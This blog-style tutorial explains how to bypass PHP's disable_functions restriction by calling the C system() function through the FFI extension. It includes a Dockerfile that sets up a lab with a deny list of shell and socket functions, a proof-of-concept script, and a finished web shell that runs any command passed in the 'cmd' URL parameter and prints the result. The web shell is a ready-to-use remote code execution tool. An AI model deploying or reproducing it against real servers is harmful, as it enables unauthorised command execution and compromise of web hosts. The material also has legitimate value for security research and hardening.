PHP - Bypass Disable Functions Using FFI

 

Description

Recently, I encountered a situation where most PHP functions were disabled. To facilitate more accurate debugging and analysis, I recreated the environment in a Docker container.

Docker setup

Dockerfile

FROM php:8.0-apache

RUN apt update
RUN apt install nano libffi-dev
RUN docker-php-ext-configure ffi --with-ffi
RUN docker-php-ext-install ffi

RUN echo "<?php phpinfo();?>" > phpinfo.php
COPY ffi_bypass.php /var/www/html/ffi_bypass.php

RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini
RUN sed -i "s|;ffi.enable=preload|ffi.enable=true|g" /usr/local/etc/php/php.ini
RUN sed -i "s|disable_functions =|disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen|g" /usr/local/etc/php/php.ini

RUN chown -R www-data:www-data /var/www/html/

ENTRYPOINT ["apache2-foreground"]

Build

docker build -t phpffi .

Run

docker run --rm -ti -p 8081:80 phpffi

In order to access the web application running in the Docker container, I exposed port 80 in the container to port 8081 on my local machine.

PHPInfo

image

Disable Functions List

It’s possible that you are wondering why the application was originally written in PHP 😆! Don’t worry about it and just keep reading! No complaining allowed.

image

What took my attention that FFI is enable !

image

Foreign Function Interface (FFI)

Important note

This extension is disabled in the default PHP installation.

image

Introduction

image

Bypass disable functions

The FFI (Foreign Function Interface) extension in PHP allows developers to call any C function from within PHP code. This can be very useful, as it allows you to execute command-line functions such as system(). system

image

We have to create a new FFI object using the cdef function

image

Despite my initial efforts, I was unable to execute commands using the FFI extension. After some trial and error, I realized that the problem was with my attempts to print the results using functions such as echo or print. These functions are not capable of properly displaying the output of command-line functions, so I had to find a different way to retrieve and display the results of my commands.

Ultimately, I was able to create a small PHP script to test whether I was able to execute commands using the FFI extension. The script attempted to create a file named test, which would be an indication that command execution was successful. The code I used:

<?php 
$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('echo "test" > test');
?>

And it worked !

image

Final code

The PHP code below can be used to execute and print the result of any command:

<?php
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    $rand=rand();
    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("{$cmd} > /dev/shm/{$rand}");
    echo file_get_contents("/dev/shm/{$rand}");
    $ffi->system("rm /dev/shm/{$rand}");
}
?>

And the usage is pretty simple: http://127.0.0.1:8081/bypass.php?cmd=id

image